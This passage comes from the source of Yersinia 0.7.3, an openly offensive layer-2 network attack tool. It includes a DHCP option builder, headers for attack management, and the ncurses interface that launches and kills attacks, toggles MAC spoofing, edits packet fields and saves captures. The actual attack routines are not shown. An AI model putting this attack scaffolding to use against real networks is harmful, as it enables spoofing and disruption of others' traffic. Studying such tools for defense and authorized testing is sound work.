offset), (void *)(dhcp_data->options + offset + len), dhcp_data->options_len - offset); /* Space left in options should be zero */ memset((void *)(dhcp_data->options + dhcp_data->options_len), 0, MAX_TLV*MAX_VALUE_LENGTH - dhcp_data->options_len); return 0; } i++; offset += len; } break; case TLV_ADD: dhcp_data->options[dhcp_data->options_len] = type; switch(type) { case LIBNET_DHCP_MESSAGETYPE: if (dhcp_data->options_len + 3 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = 1; dhcp_data->options[dhcp_data->options_len + 2] = (*(u_int8_t *)value); dhcp_data->options_len += 3; } else return -1; break; case LIBNET_DHCP_END: if (dhcp_data->options_len + 1 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options_len += 1; } else return -1; break; case LIBNET_DHCP_SUBNETMASK: case LIBNET_DHCP_ROUTER: case LIBNET_DHCP_DNS: case LIBNET_DHCP_DISCOVERADDR: case LIBNET_DHCP_SERVIDENT: if (dhcp_data->options_len + 6 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = 4; /*aux_long = htonl((*(u_int32_t *)value));*/ memcpy((void *)dhcp_data->options + dhcp_data->options_len + 2, (void *)value, 4); dhcp_data->options_len += 6; } else return -1; break; case LIBNET_DHCP_HOSTNAME: case LIBNET_DHCP_DOMAINNAME: case LIBNET_DHCP_MESSAGE: case LIBNET_DHCP_CLASSSID: len = strlen((char *)value); if (dhcp_data->options_len + len + 2 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = len; memcpy((void *)dhcp_data->options + dhcp_data->options_len + 2, (void *)value, len); dhcp_data->options_len += len + 2; } else return -1; break; case LIBNET_DHCP_LEASETIME: case LIBNET_DHCP_RENEWTIME: case LIBNET_DHCP_REBINDTIME: if (dhcp_data->options_len + 6 < MAX_TLV*MAX_VALUE_LENGTH) { dhcp_data->options[dhcp_data->options_len + 1] = 4; aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)dhcp_data->options + dhcp_data->options_len + 2, (void *)&aux_long, 4); dhcp_data->options_len += 6; } else return -1; break; } break; } return -1; } int8_t dhcp_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/thread-util.h0000644000175000017500000000420612234207266014336 0ustar nknk/* thread-util.h * Definitions for thread utils * * $Id: thread-util.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __THREAD_H__ #define __THREAD_H__ #include #ifdef HAVE_PTHREAD_H #include #endif #define THREAD_TIMEOUT -2 struct condsem { pthread_mutex_t mutex; pthread_cond_t condvar; u_int16_t value; }; typedef struct { pthread_t id; u_int8_t stop; pthread_mutex_t finished; } THREAD; #define PTHREAD_JOIN(x) (pthread_mutex_lock(&(x)->finished)) int8_t thread_create(pthread_t *, void *, void *); int8_t thread_destroy_cancel(pthread_t); int8_t thread_destroy(THREAD *); void thread_error(char *, int8_t); void thread_libnet_error(char *, libnet_t *); int8_t thread_create_condsem(struct condsem *); void thread_delete_condsem(struct condsem *); int8_t thread_wait_cond(struct condsem *); int8_t thread_wait_cond_timed(struct condsem *, struct timeval *); int8_t thread_signal_cond(struct condsem *); int8_t thread_send_broadcast(struct condsem *, int8_t); void *thread_calloc_r(size_t); void thread_free_r(void *); int thread_usleep(unsigned long); /* Extern functions...*/ /*extern void write_log( u_int16_t mode, char *msg, ... );*/ #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/parser.h0000644000175000017500000000656712234207266013424 0ustar nknk/* parser.h * Definitions for command line parser and parser utilities * * $Id: parser.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __PARSER_H__ #define __PARSER_H__ #include "interfaces.h" #include "terminal-defs.h" #include "attack.h" #define MIN2(a,b) ((a)<(b)?(a):(b)) #define MIN3(a,b,c) ((a)<(b)?(MIN2(a,c)):(MIN2(b,c))) #define MAX2(a,b) ((a)<(b)?(b):(a)) #define MAX3(a,b,c) ((a)<(b)?(MAX2(b,c)):(MAX2(a,c))) /* * Following struct is just for passing argv,argc and protocol from * parent process to command line thread peer because the firsts * arguments parsing is made within parent process context while the * protocol parsing is made within the command line thread. */ struct cl_args { struct term_tty tty; int16_t count; char **argv_tmp; int8_t proto_index; }; int8_t parser_initial(struct term_tty *, struct cl_args *, int, char **); int8_t parser_are_digits( int8_t *, int8_t ); void parser_str_tolower( char *); void parser_help( void ); int8_t parser_vrfy_mac( char *, u_int8_t * ); int8_t parser_vrfy_bridge_id( char *, u_int8_t * ); int8_t parser_command2index(register const struct attack *, register int8_t); int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); int8_t parser_get_formated_inet_address_fill(u_int32_t in, char *inet, u_int16_t inet_len, int8_t fill_up); int8_t parser_get_inet_aton(char *, struct in_addr *); int8_t parser_get_random_string(u_int8_t *, u_int8_t); int8_t parser_get_random_int(u_int8_t); int8_t parser_read_config_file(struct term_tty *, struct term_node *); int8_t parser_write_config_file(struct term_tty *); void parser_basedisplay(u_int8_t, u_int8_t, char *, size_t ); int8_t parser_vrfy_ip2filter(char *, struct term_tty *); int8_t parser_add_ip2filter(u_int32_t, u_int32_t, struct term_tty *, char *); void parser_free_ip2filter(struct filter *); int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t); void parser_cl_proto_help(u_int8_t, struct term_node *); int8_t parser_cl_proto( struct term_node *, int8_t, char **, u_int8_t); int8_t parser_binary2printable(u_int8_t, u_int8_t, void *, char *); char *parser_get_meaning(char *, const struct tuple_type_desc *); u_int8_t parser_get_max_field_length(const struct tuple_type_desc *); #if (defined(SOLARIS) && !defined(SOLARIS_27)) extern int inet_aton( char *, struct in_addr * ); #endif extern struct terminals *terms; extern int8_t bin_data[]; extern int8_t protocol_proto2index(char *); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/attack.h0000644000175000017500000000375712234207266013375 0ustar nknk/* attack.h * Definitions for attacks management core * * $Id: attack.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ATTACK_H__ #define __ATTACK_H__ #include #include #include "thread-util.h" #include "interfaces.h" #include "terminal-defs.h" int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t ); int8_t attack_kill_th(struct term_node *, pthread_t ); int8_t attack_th_exit(struct attacks *); int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); void attack_free_params(struct attack_param *, u_int8_t); int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); void attack_gen_mac(u_int8_t *); extern int8_t thread_destroy(THREAD *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t parser_vrfy_mac( char *, u_int8_t *); extern int8_t parser_vrfy_bridge_id( char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/ncurses-callbacks.c0000644000175000017500000011562312234207266015514 0ustar nknk/* ncurses-callbacks.c * Implementation for ncurses callbacks * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: ncurses-callbacks.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include #ifdef SOLARIS #include #include #else #include #endif #include "ncurses-gui.h" #include "ncurses-callbacks.h" #include "ncurses-interface.h" /* * Refresh main window */ void ncurses_c_refresh_mwindow(u_int8_t mode, WINDOW *mwindow, u_int8_t pointer, struct term_node *node) { u_int8_t i, row, col, j, offset, tlv, k, position, max_len; char *ptrtlv; char timebuf[19], **values, meaningbuf[NCURSES_MWINDOW_MAX_FIELD_LENGTH+1]; struct term_console *term_console; struct tm *aux; struct tuple_type_desc *func; struct commands_param *params; struct commands_param_extra *extra_params=NULL; time_t this_time; tlv = 0; max_len = 0; values = NULL; func = NULL; term_console = node->specific; params = (struct commands_param *) protocols[mode].parameters; // if (protocols[mode].extra_nparams) extra_params = (struct commands_param_extra *) protocols[mode].extra_parameters; getmaxyx(stdscr,row,col); #ifdef CAN_RESIZE if (term_console->need_resize) { /* if (delwin(mwindow) == ERR) thread_error("Error in delwin", errno); if ((mwindow = newwin(row-5, col, 0, 0)) == NULL) thread_error("Error in newwin", errno);*/ #ifdef HAVE_NCURSES_WRESIZE wresize(mwindow, row-NCURSES_BWINDOW_SIZE, col); werase(mwindow); #endif term_console->need_resize--; // write_log(0, "Resize mwindow con %d row y %d col y resize es %d\n", row, col, term_console->need_resize); } #endif offset = (col > NCURSES_MIN_COLS)? (col - NCURSES_MIN_COLS) / 2 : 0; wattron(mwindow, COLOR_PAIR(5) | A_BOLD); box(mwindow,ACS_VLINE,ACS_HLINE); this_time = time(NULL); aux = localtime(&this_time); if (aux != NULL) mvwprintw(mwindow, 0, col-11, "[%02d:%02d:%02d]", aux->tm_hour, aux->tm_min, aux->tm_sec); mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 1 + offset, " Total Packets: %d ", packet_stats.global_counter.total_packets); mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 60 + offset, " MAC Spoofing [ ] "); if (node->mac_spoofing) mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 75 + offset, "X"); mvwprintw(mwindow, 0, 3, " %s %s by Slay & tomac - %s mode ", PACKAGE, VERSION, protocols[mode].namep); mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 30 + offset, " %s Packets: %d ", protocols[mode].namep, protocols[mode].packets); wattroff(mwindow, COLOR_PAIR(5) | A_BOLD); wattron(mwindow, A_BOLD); position = 1; for (i = 0; i < protocols[mode].nparams; i++) { if (params[i].mwindow) { mvwprintw(mwindow, 1, position + offset, params[i].ldesc); if (params[i].meaning) { max_len = parser_get_max_field_length(params[i].meaning); position += (( MAX2(max_len, strlen(params[i].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[i].ldesc))) + 1; } else position += (params[i].size_print > strlen(params[i].ldesc) ? params[i].size_print : strlen(params[i].ldesc)) + 1; } } for (i = 0; i < protocols[mode].extra_nparams; i++) { if (extra_params[i].mwindow) { mvwprintw(mwindow, 1, position + offset, extra_params[i].ldesc); if (extra_params[i].meaning) { max_len = parser_get_max_field_length(extra_params[i].meaning); position += (( MAX2(max_len, strlen(params[i].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[i].ldesc))) + 1; } else position += (extra_params[i].size_print > strlen(extra_params[i].ldesc) ? extra_params[i].size_print : strlen(extra_params[i].ldesc)) + 1; } } mvwprintw(mwindow, 1, 58 + offset, "Iface"); mvwprintw(mwindow, 1, 64 + offset, "Last seen"); wattroff(mwindow, A_BOLD); for (i=0; i < MAX_PACKET_STATS; i++) { if (protocols[mode].stats[i].header->ts.tv_sec > 0) { if (protocols[mode].get_printable_packet) { if ((values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[i])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); wrefresh(mwindow); return; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); wrefresh(mwindow); return; } if (i == pointer) wattron(mwindow, COLOR_PAIR(5) | A_BOLD); wmove(mwindow, i+2, 1); whline(mwindow, ' ', COLS-2); position = 1; k = 0; for (j = 0; j < protocols[mode].nparams; j++) { /*write_log(0, "param es %s\n", params[j].ldesc);*/ if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) { if (params[j].mwindow) { /*write_log(0, "values es %s\n", values[k]);*/ if (params[j].meaning) { snprintf(meaningbuf, NCURSES_MWINDOW_MAX_FIELD_LENGTH + 1, "%s", parser_get_meaning(values[k], params[j].meaning)); if (strlen(meaningbuf) == NCURSES_MWINDOW_MAX_FIELD_LENGTH) meaningbuf[NCURSES_MWINDOW_MAX_FIELD_LENGTH-1] = '|'; mvwprintw(mwindow, i + 2, position + offset, "%s", meaningbuf); max_len = parser_get_max_field_length(params[j].meaning); position += (( MAX2(max_len, strlen(params[j].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[j].ldesc))) + 1; } else { mvwprintw(mwindow, i + 2, position + offset, "%s", values[k]); position += (params[j].size_print > strlen(params[j].ldesc) ? params[j].size_print : strlen(params[j].ldesc)) + 1; } } k++; } } if ((protocols[mode].extra_nparams > 0)) { tlv = k; for (j = 0; j < protocols[mode].extra_nparams; j++) { if (extra_params[j].mwindow) { mvwprintw(mwindow, i + 2, position + offset, "%*c", extra_params[j].size_print, ' '); ptrtlv = values[tlv]; while ((ptrtlv) && (strncmp((char *)ptrtlv, extra_params[j].ldesc, strlen(extra_params[j].ldesc)) != 0)) { //write_log(0, "joe ptr es a%sa\n", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; } if (ptrtlv) { ptrtlv += strlen((char *)ptrtlv) + 1; //write_log(0, "ptrtlv values es %s\n", ptrtlv); if (extra_params[j].meaning) { //snprintf(meaningbuf, NCURSES_MWINDOW_MAX_FIELD_LENGTH, "%s %s", ptrtlv, parser_get_meaning(ptrtlv, extra_params[j].meaning)); snprintf(meaningbuf, NCURSES_MWINDOW_MAX_FIELD_LENGTH + 1, "%s", parser_get_meaning(ptrtlv, extra_params[j].meaning)); if (strlen(meaningbuf) == NCURSES_MWINDOW_MAX_FIELD_LENGTH) meaningbuf[NCURSES_MWINDOW_MAX_FIELD_LENGTH-1] = '|'; mvwprintw(mwindow, i + 2, position + offset, "%s", meaningbuf); max_len = parser_get_max_field_length(extra_params[j].meaning); position += (( MAX2(max_len, strlen(params[j].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[j].ldesc))) + 1; } else { mvwprintw(mwindow, i + 2, position + offset, "%s", ptrtlv); position += (extra_params[j].size_print > strlen(extra_params[j].ldesc) ? extra_params[j].size_print : strlen(extra_params[j].ldesc)) + 1; } } else { mvwprintw(mwindow, i + 2, position + offset, "???"); position += (extra_params[j].size_print > strlen(extra_params[j].ldesc) ? extra_params[j].size_print : strlen(extra_params[j].ldesc)) + 1; /* position += extra_params[j].size_print; */ } } } } mvwprintw(mwindow, i+2, 58 + offset, "%s", protocols[mode].stats[i].iface); strftime(timebuf, 19, "%d %b %H:%M:%S", localtime((time_t *)&protocols[mode].stats[i].header->ts)); mvwprintw(mwindow, i+2, 64 + offset, "%s", timebuf); if (i == pointer) wattroff(mwindow, COLOR_PAIR(5) | A_BOLD); k = 0; /* Reset values */ memset((void *)values, 0, sizeof(values)); if (values) { while(values[k]) { free(values[k]); k++; } free(values); } } /* if (protocols->tv_sec) */ } /* for i < MAX_PACKET_STATS */ wrefresh(mwindow); } /* * Refresh panels */ void ncurses_c_refresh(void) { /* refresh the panels */ update_panels(); /* Show it on the screen */ doupdate(); } /* * Main engine catching keystrokes */ void ncurses_c_engine(WINDOW *my_wins[], PANEL *my_panels[], struct term_node *node) { int32_t key, key_pressed, ret, max, proto_key; u_int8_t end, i, j, k, secs, mode, used, keys[MAX_PROTOCOLS]; struct term_console *term_console; fd_set read_set, rset; struct timeval timeout; dlist_t *p; struct interface_data *iface_data; term_console = node->specific; for (i = 0; i < MAX_PROTOCOLS; i++) pointer[i] = 0; end = 0; /* default initial mode */ mode = NCURSES_DEFAULT_MODE; keypad(my_wins[MAIN_SCREEN], TRUE); secs = 0; j = 0; timeout.tv_sec = 0; timeout.tv_usec = 0; FD_ZERO(&read_set); FD_SET(fileno(stdin), &read_set); while (!end && !terms->gui_th.stop) { max = 0; FD_ZERO(&rset); rset = read_set; if ((ret = select(max + 1, &rset, NULL, NULL, &timeout)) == -1) { thread_error("select", errno); timeout.tv_sec = 0; timeout.tv_usec = 500000; return; } if (!ret) /* Timeout...*/ { if (j%2) /* 1 sec!! */ { j=0; if (secs == NCURSES_REFRESH_TIME) { ncurses_c_refresh_bwindow(mode, my_wins[SEC_SCREEN], node); ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); secs = 0; } else secs++; } else j++; } else { key_pressed = wgetch(my_wins[MAIN_SCREEN]); switch(key_pressed) { /* Help screen */ case '?': case 'H': case 'h': ncurses_i_help_screen(mode, my_wins[HELP_SCREEN], my_panels[HELP_SCREEN]); break; /* Edit BPDU fields */ case 'E': case 'e': ncurses_c_edit_bwindow(mode, my_wins[MAIN_SCREEN], my_wins[SEC_SCREEN], node); break; /* About */ case 'A': case 'a': ncurses_i_splash_screen(my_wins[SPLASH_SCREEN], my_panels[SPLASH_SCREEN]); break; /* List Attacks */ case 'l': ncurses_i_list_attacks(my_wins[LIST_ATTACKS], node); break; /* List capture files */ case 'f': ncurses_i_list_filecaps(my_wins[LIST_FILECAPS], node); break; case KEY_DOWN: if ( (pointer[mode] < MAX_PACKET_STATS - 1) && (protocols[mode].stats[pointer[mode] + 1].header->ts.tv_sec > 0)) { pointer[mode]++; ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); } break; case KEY_UP: if (pointer[mode] > 0) { pointer[mode]--; ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); } break; case 'K': key = ncurses_i_getconfirm(node, " Confirmation before nuclear war!!", "You will kill *ALL* attacks from *ALL* protocols... Are you sure?", " Killing attacks from ALL protocols "); if (key == 'y') attack_kill_th(node, ALL_ATTACK_THREADS); break; case 'c': interfaces_clear_stats(mode); wclear(my_wins[MAIN_SCREEN]); pointer[mode] = 0; ncurses_c_set_status_line(" Clearing Mode stats... "); break; case 'C': interfaces_clear_stats(PROTO_ALL); wclear(my_wins[MAIN_SCREEN]); memset(pointer,0,sizeof(pointer)); ncurses_c_set_status_line(" Clearing stats... "); break; case 'd': if (protocols[mode].init_attribs) (*protocols[mode].init_attribs)(node); else { write_log(0, "Warning: no init_attribs for mode %d\n", mode); } break; /* Set MAC Spoofing on/off */ case 'M': node->mac_spoofing = !node->mac_spoofing; break; /* Clear screen */ case KEY_CTRL_L: clearok(stdscr, TRUE); clearok(my_wins[MAIN_SCREEN], TRUE); clearok(my_wins[SEC_SCREEN], TRUE); break; /* ENTER. Show info about the selected item */ case 13: if (protocols[mode].packets) ncurses_i_show_info(mode, my_wins[MAIN_SCREEN], pointer[mode], node); break; /* View packet */ case 'v': if (protocols[mode].packets) ncurses_i_view_packet(mode, my_wins[MAIN_SCREEN], pointer[mode]); break; case 'I': case 'i': ncurses_i_ifaces_screen(node, my_wins[IFACE_SCREEN], my_panels[IFACE_SCREEN]); break; /* Save data */ case 'S': if (node->pcap_file.pdumper) { if (ncurses_i_error_window(1, "Error: pcap_file is in use at %s", node->pcap_file.name) < 0) ncurses_gui_th_exit(node); } else { char *filename = (char *)calloc(1,FILENAME_MAX+1); if (filename == NULL) { thread_error(" ncurses_engine calloc",errno); ncurses_gui_th_exit(node); } if (ncurses_i_getstring_window(node, " Stealing data? Tsk, tsk...", filename, FILENAME_MAX, " Enter pcap filename for ALL protocols") < 0) { free(filename); ncurses_gui_th_exit(node); } /* Take the first active interface for saving data */ p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up) { if (filename[0] && interfaces_pcap_file_open(node, PROTO_ALL, filename, iface_data->ifname) < 0) { free(filename); ncurses_gui_th_exit(node); } break; } else p = dlist_next(interfaces->list, p); } /* No interface found*/ if (p == NULL) ncurses_i_error_window(1, "Error: there is no active interface"); if (filename) free(filename); } break; case 's': if (node->protocol[mode].pcap_file.pdumper) { if (ncurses_i_error_window(1, "Error: pcap_file is in use at %s", node->protocol[mode].pcap_file.name) < 0) ncurses_gui_th_exit(node); } else { char *filename = (char *)calloc(1,FILENAME_MAX+1); if (filename == NULL) { thread_error(" ncurses_engine calloc",errno); ncurses_gui_th_exit(node); } if (ncurses_i_getstring_window(node, " Stealing data? Tsk, tsk...", filename, FILENAME_MAX, " Enter pcap filename for current protocol") < 0) { free(filename); ncurses_gui_th_exit(node); } /* Take the first valid interface for saving data */ p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up) { if (filename[0] && interfaces_pcap_file_open(node, mode, filename, iface_data->ifname) < 0) { free(filename); ncurses_gui_th_exit(node); } break; } else p = dlist_next(interfaces->list, p); } /* No interface found*/ if (p == NULL) ncurses_i_error_window(1, "Error: there is no active interface"); if (filename) free(filename); } break; /* Learn da packet */ case 'L': ncurses_c_learn_packet(mode, pointer[mode], node); break; /* Display implemented attacks */ case 'X': case 'x': ncurses_i_attack_screen(node, mode, my_wins[ATTACK_SCREEN], my_panels[ATTACK_SCREEN]); break; /* Write configuration file */ case 'W': case 'w': for (i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) memcpy((void *)protocols[i].default_values, (void *)node->protocol[i].tmp_data, protocols[i].size); } if (strlen(tty_tmp->config_file) == 0) { char *filename = (char *)calloc(1,FILENAME_MAX+1); if (filename == NULL) { thread_error(" ncurses_engine calloc",errno); ncurses_gui_th_exit(node); } if (ncurses_i_getstring_window(node, " Save the world ", filename, FILENAME_MAX, " Enter configuration filename ") < 0) { free(filename); ncurses_gui_th_exit(node); } if (strlen(filename)!=0) strncpy(tty_tmp->config_file, filename, FILENAME_MAX); else { free(filename); break; } } if (parser_write_config_file(tty_tmp) < 0) ncurses_i_error_window(1, "Error opening config file %s", tty_tmp->config_file); break; /* Quit (bring da noize) */ case 'Q': case 'q': end = 1; break; case KEY_F(1): case KEY_F(2): case KEY_F(3): case KEY_F(4): case KEY_F(5): case KEY_F(6): case KEY_F(7): case KEY_F(8): case KEY_F(9): case KEY_F(10): case KEY_F(11): case KEY_F(12): for(used=0,k=0,i=0;i= 0) { mode = ret; wclear(my_wins[MAIN_SCREEN]); wclear(my_wins[SEC_SCREEN]); } break; #ifdef KEY_RESIZE case KEY_RESIZE: ncurses_c_term_resize(node); break; #endif case ERR: thread_error("Error in wgetch", errno); ncurses_gui_th_exit(NULL); break; default: break; } } ncurses_c_refresh_bwindow(mode, my_wins[SEC_SCREEN], node); ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); timeout.tv_sec = 0; timeout.tv_usec = 500000; } /* while */ } /* * Refresh the fields window (Bottom window) */ void ncurses_c_refresh_bwindow(u_int8_t mode, WINDOW *bwindow, struct term_node *node) { int32_t offset, row, col, position, lastposition; struct term_console *term_console; u_int8_t **store_values = NULL; u_int8_t i, k, lastusedrow; struct commands_param *params; term_console = node->specific; getmaxyx(stdscr,row,col); #ifdef CAN_RESIZE if (term_console->need_resize) { /* if (delwin(bwindow) == ERR) thread_error("Error in delwin", errno); if ((bwindow = newwin(5, col, row-5, 0)) == NULL) thread_error("Error in newwin", errno);*/ #ifdef HAVE_NCURSES_WRESIZE wresize(bwindow, NCURSES_BWINDOW_SIZE, col); mvwin(bwindow, row-NCURSES_BWINDOW_SIZE, 0); werase(bwindow); #endif term_console->need_resize--; //write_log(0, "Resize bwindow con %d row y %d col y resize es %d\n", row, col, term_console->need_resize); } #endif offset = (col > NCURSES_MIN_COLS)? (col - NCURSES_MIN_COLS) / 2 : 0; if (protocols[mode].get_printable_store) { if ((store_values = (u_int8_t **)(*protocols[mode].get_printable_store)(node)) == NULL) { write_log(0, "Error in get_printable_store (mode %d)\n", mode); return; } } else { write_log(0, "Warning: there is no get_printable_store for protocol %d\n", mode); return; } wattron(bwindow, COLOR_PAIR(2)); box(bwindow,ACS_VLINE,ACS_HLINE); mvwprintw(bwindow, 0, 3, " %s Fields ", protocols[mode].namep); params = (struct commands_param *) protocols[mode].parameters; lastusedrow = 1; lastposition = 0; /* We have 5 rows in the bwindow */ for (row = 1; row <= 5; row++) { position = 2; k = 0; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == row) { lastusedrow = row; wattron(bwindow, COLOR_PAIR(2)); mvwprintw(bwindow, row, position + offset, "%s", params[i].ldesc); position += strlen(params[i].ldesc) + 1; wattroff(bwindow, COLOR_PAIR(2)); mvwprintw(bwindow, row, position + offset, "%s", store_values[k]); position += params[i].size_print + 1; } k++; } } /* No more rows */ if (row != lastusedrow) break; lastposition = position; } /* Extra parameters */ if (protocols[mode].extra_nparams > 0) { wattron(bwindow, COLOR_PAIR(2)); mvwprintw(bwindow, lastusedrow, lastposition + offset, "Extra"); } i = 0; while (store_values[i]) { free(store_values[i]); i++; } if (store_values) free(store_values); wrefresh(bwindow); } /* * Edit BPDU Fields */ void ncurses_c_edit_bwindow(u_int8_t mode, WINDOW *mwindow, WINDOW *bwindow, struct term_node *node) { u_int8_t i, state; int32_t key_pressed, result; int8_t end_edit; u_int32_t y, x, col, row, offset, initial, start; struct commands_param *params; char buffer[1024], old_value; initial = 0; state = 0; start = 0; ncurses_c_set_status_line(" Edit those nasty fields; press 'x' for Extra values "); /* We want a BIG cursor */ curs_set(1); getmaxyx(stdscr, row, col); offset = (col > NCURSES_MIN_COLS)? (col - NCURSES_MIN_COLS) / 2 : 0; params = protocols[mode].parameters; for (i = 0; i < protocols[mode].nparams; i++) { if (params[i].row == 1) { initial = strlen(params[i].ldesc) + offset + 2 + 1; start = initial; state = i; break; } } keypad(bwindow, TRUE); wmove(bwindow, 1, initial); wrefresh(bwindow); wtimeout(bwindow,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ end_edit = 0; while (!end_edit && !terms->gui_th.stop) { do { key_pressed = wgetch(bwindow); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (terms->gui_th.stop) break; getyx(bwindow, y, x); switch(key_pressed) { case 27: /* ESC */ case 13: /* ENTER */ end_edit = 1; break; case KEY_UP: if (ncurses_c_north(mode, offset, &y, &x, &state, &start) == 0) { wmove(bwindow, y, x); } break; case KEY_DOWN: if (ncurses_c_south(mode, offset, &y, &x, &state, &start) == 0) { wmove(bwindow, y, x); } break; case KEY_RIGHT: if (ncurses_c_east(mode, offset, &y, &x, &state, &start) == 0) { wmove(bwindow, y, x); } break; case KEY_LEFT: if (ncurses_c_west(mode, offset, &y, &x, &state, &start) == 0) { wmove(bwindow, y, x); } break; case 'x': if (protocols[mode].extra_parameters > 0) ncurses_i_edit_tlv(node, mode); break; case 9: /* TAB */ if (params[state].meaning) { curs_set(0); if ((result = ncurses_i_popup_window(bwindow, params[state].meaning, state)) != ERR) { snprintf(buffer, 1024, "%d", result); parser_filter_param(params[state].type, node->protocol[mode].commands_param[state], buffer, 